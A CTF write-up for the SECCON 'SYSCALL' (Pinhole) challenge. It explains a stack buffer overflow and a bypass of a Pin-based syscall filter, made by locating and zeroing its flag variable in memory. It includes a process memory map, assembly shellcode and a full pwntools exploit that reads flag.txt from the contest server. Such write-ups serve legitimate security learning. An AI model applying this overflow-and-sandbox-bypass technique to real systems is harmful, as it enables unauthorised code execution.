I recently restarted playing CTFs. We played SECCON CTF last week and qualified for the final round. I heard many other teams solved ‘SYSCALL’, one of the challenges from SECCON, in different ways, so I decided to briefly share my approach.
The vulnerability of the challenge was very simple: Long input bytes cause stack buffer overflow and there is no non-executable stack option.
So, we can execute any shellcode with jmp rsp
instruction but it is not allowed to execute syscall
instruction by a pintool plugin called Pinhole.
1
2
3
4
5
6
7
8
9
10
11
12
VOID check_syscall(ADDRINT rax, ADDRINT rdi)
{
static int is_syscall_impossible = 0;
if(is_syscall_impossible){
PIN_ERROR("invalid syscall\n");
exit(-1);
}else{
if(rax == 3 && rdi == 31337){ // sys_close(31337)
is_syscall_impossible = ~0;
}
}
}
The pinhole disables system calls after calling the close(31337)
invoked when finishing main
function.
I just decided to overwrite the is_syscall_impossible
variable. Then, we had to find the address of is_syscall_impossible
located on Pinhole.so
library. After wasting some time, my teammate told me that the address of pin
binary is fixed, so I used pin
binary to find a location of is_syscall_impossible
.
root@IU:~# cat /proc/7763/maps
00400000-004b4000 r-xp 00000000 08:01 57021263 /home/tunz/seccon/ex500/vulnserver
006b4000-006b6000 rwxp 000b4000 08:01 57021263 /home/tunz/seccon/ex500/vulnserver
006b6000-006b8000 rwxp 00000000 00:00 0
00b9b000-00bbe000 rwxp 00000000 00:00 0 [heap]
304000000-3047e4000 r-xp 00000000 08:01 9443194 /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
3047e4000-3049e3000 ---p 00000000 00:00 0
3049e3000-304a87000 rwxp 007e3000 08:01 9443194 /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
304a87000-304b13000 rwxp 00000000 00:00 0
304b14000-304b23000 rwxp 00000000 00:00 0
304b27000-304b28000 rwxp 00000000 00:00 0
304b2b000-304b66000 rwxp 00000000 00:00 0
304b66000-304b67000 ---p 00000000 00:00 0
304b67000-304b97000 rwxp 00000000 00:00 0
7f10017a7000-7f10017a8000 rwxp 00000000 00:00 0
7f10017af000-7f10017b2000 rwxp 00000000 00:00 0
7f10017b4000-7f10019b6000 rwxp 00000000 00:00 0
7f10019b6000-7f1011976000 ---p 00000000 00:00 0
7f1011976000-7f1012f65000 rwxp 00000000 00:00 0 [stack:7763]
7f1012f65000-7f101370d000 r-xp 00000000 08:01 57021267 /home/tunz/seccon/ex500/Pinhole.so
7f101370d000-7f101390d000 ---p 007a8000 08:01 57021267 /home/tunz/seccon/ex500/Pinhole.so
7f101390d000-7f10139b3000 r-xp 007a8000 08:01 57021267 /home/tunz/seccon/ex500/Pinhole.so
7f10139b3000-7f10139b5000 rwxp 0084e000 08:01 57021267 /home/tunz/seccon/ex500/Pinhole.so
...
pin
binary may contain one of addresses of Pinhole.so
. In my case, an address 0x304aa3008
contains an address of dynamically loaded libraries. We cannot be sure that the address always contain one of library addresses, but I just assumed that pin
of the target server also contains one of addresses of libraries because my teammate’s pin
did.
Although I could find one address of libraries, offset between the found address and address of is_syscall_impossible
variable can be different. I handled this issue by searching addresses around a expected address that is found in my server. It took few seconds.
mov rbx, 0x304aa3008
mov rbx, [rbx]
sub rbx, [[ rough offset ]]
mov rcx, 0xffffffff
next_again:
mov rax, [rbx]
cmp rax, rcx
jz go_syscall
add rbx, 4
jmp next_again
go_syscall:
[[ shellcode ]]
I made a shellcode that searches 0xffffffff
using a loop because is_syscall_impossible
variable contains a value of 0xffffffff
.
It helps to find the location of is_syscall_impossible
more quickly. You may be able to make a more reliable shellcode.
This following code is my full exploit code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from struct import pack
from socket import *
import time
context(arch = 'amd64', os = 'linux')
for i in range(0, 10000000, 500):
t = 12500000 + i
#sub rbx, 12513000 # Answer offset of the target server
#sub rbx, 12622540 # Offset of my server
f = open('input', 'wb')
shellcode = enhex(asm('''
mov rbx, 0x304aa3008
mov rbx, [rbx]
sub rbx, '''+str(t)+'''
mov rcx, 0xffffffff
next_again:
mov rax, [rbx]
cmp rax, rcx
jz go_syscall
add rbx, 4
jmp next_again
go_syscall:
movq [rbx], 0
movq [rsp], 0x67616c66
movq [rsp+4], 0x7478742e
push 0
pop rcx
mov [rsp+8], ecx
lea rdi, [rsp]
xor rsi, rsi
xor rax, rax
inc rax
inc rax
syscall
mov rbx,rax
lea rsi, [rsp]
mov rdi, rbx
push 0x7f
pop rdx
xor rax, rax
syscall
lea rsi, [rsp]
xor rdi, rdi
inc rdi
mov rdx, rax
xor rax, rax
inc rax
syscall
push 60
pop rax
syscall
'''))
shellcode = shellcode.decode('hex')
# 0x48a76b is an address of 'jmp rsp'
f.write("A"*280+pack('<Q',0x48a76b)+shellcode)
f.close()
s = socket(AF_INET, SOCK_STREAM)
s.connect(('pinhole.pwn.seccon.jp',10000))
s.send(open('input','rb').read())
time.sleep(0.1)
data = s.recv(10240)
print data
if "invalid" in data:
print data
elif len(data) > 0:
print str(t)
break
s.close()